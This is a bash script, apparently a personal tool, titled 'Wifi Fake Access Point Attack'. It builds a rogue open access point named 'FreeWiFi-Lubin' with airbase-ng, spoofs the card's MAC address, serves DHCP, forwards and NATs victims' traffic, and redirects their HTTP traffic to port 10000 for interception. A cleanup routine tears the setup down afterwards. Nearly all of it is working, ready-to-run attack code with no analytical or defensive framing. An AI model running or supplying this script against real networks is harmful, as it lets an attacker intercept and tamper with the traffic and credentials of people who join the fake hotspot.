1. #!/bin/bash
2.  
3. echo
4. echo "Wifi Fake Access Point Attack 0.1. Pvls"
5. echo "--------------------------------------"
6.  
7. xterm -geometry 80x15+1+250 -T "syslog" -e tail -f /var/log/syslog &
8. sleep 2
9.  
10.  
11. echo "Set wlan0 down"
12. echo "--------------"
13. ifconfig wlan0 down
14. echo
15. macchanger -a wlan0
16. echo
17. echo "Set wlan0 to monitor mode mon0"
18. echo "------------------------------"
19. iwconfig wlan0 mode monitor
20.  
21. echo "Raise the wlan0!"
22. echo "----------------"
23. ifconfig wlan0 up
24. iwconfig
25. #airmon-ng start wlan0
26. #creating AP point with airbase-ng - crucial part
27.  
28. #airmon-ng check kill
29. #sleep 1
30. echo "Airbase - creating Free Wifi [FreeWiFi-Lubin]"
31. echo "---------------------------------------------"
32. #airmon-ng check kill
33. xterm -geometry 80x15+1+0 -T "Airbase" -e airbase-ng --essid FreeWiFi-Lubin -c 5 -v wlan0 &
34. sleep 3
35.  
36.  
37. echo "Checking the gateway IP"
38. echo "-----------------------"
39.  
40. route -n
41.  
42. echo "Raising at0!"
43. echo "-----------"
44. ifconfig at0 up
45. ifconfig at0 192.168.1.1 netmask 255.255.255.0
46. ifconfig at0 mtu 1400
47. sleep 2
48. echo "Set iptables for at0 at 192.168.1.1"
49. echo "-----------------------------------"
50. route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1
51. echo 1 > /proc/sys/net/ipv4/ip_forward
52. sleep 2
53.  
54. #iptables --flush
55. #iptables --table nat --flush
56. #iptables --delete-chain
57. #iptables --table nat --delete-chain
58. #iptables -t nat -A PREROUTING -p udp -j DNAT --to 192.168.0.1
59. #iptables -P FORWARD ACCEPT
60. #iptables --append FORWARD --in-interface at0 -j ACCEPT
61. #iptables --table nat --append POSTROUTING -o eth0 -j MASQUERADE
62. #iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 1000
63.  
64. iptables --flush
65. iptables --table nat --flush
66. iptables --delete-chain
67. iptables --table nat --delete-chain
68. iptables -t nat -A PREROUTING -p udp -j DNAT --to 192.168.0.1
69. iptables -P FORWARD ACCEPT
70. iptables --append FORWARD --in-interface at0 -j ACCEPT
71. iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
72. iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
73.  
74.  
75. sleep 3
76. echo "Launch DHCP server"
77. echo "------------------"
78. #touch /var/lib/dhcp/dhcpd.leases
79. #ln -s /var/run/dhcp-server/dhcpd.pid /var/run/dhcpd.pid
80. dhcpd -cf /etc/dhcp/dhcpd.conf at0
81. #/etc/init.d/isc-dhcp-server start
82.  
83. #killall -KILL apparmor
84. #mkdir -p /var/run/dhcpd && chown dhcpd:dhcpd /var/run/dhcpd
85. #dhcpd -cf /etc/dhcp/dhcpd.conf -pf /var/run/dhcpd/dhcpd.pid at0
86. #/etc/init.d/isc-dhcp-server start
87.  
88. sleep 2
89.  
90. route -n
91.  
92. #Cleaning up
93. read END
94.  
95. if [ $END = "q" ] ; then
96. echo
97. echo "Closing script - cleaning..."
98. echo "----------------------------"
99.  
100. airmon-ng stop mon0
101. airmon-ng stop wlan0
102. ifconfig at0 down
103. #brctl delif br0 eth0
104. #brctl delbr br0
105. #ifconfig br0 down
106. echo 0 > /proc/sys/net/ipv4/ip_forward
107. iptables --flush
108. iptables --table nat --flush
109. iptables --delete-chain
110. iptables --table nat --delete-chain
111.  
112. #rm /var/lib/dhcp/*
113. echo > '/var/lib/dhcp/dhcpd.leases'
114. /etc/init.d/isc-dhcp-server stop
115. #killall -KILL dhcpd
116. echo
117. echo "Good bye."
118. echo "---------"
119. exit
120. fi